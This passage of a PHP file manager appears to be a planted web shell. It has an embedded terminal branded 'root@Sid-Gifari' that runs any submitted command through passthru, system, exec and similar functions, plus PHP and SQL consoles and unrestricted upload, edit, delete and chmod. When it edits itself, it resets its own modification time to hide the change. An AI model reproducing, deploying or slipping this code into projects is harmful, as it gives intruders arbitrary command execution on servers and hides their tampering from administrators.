Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
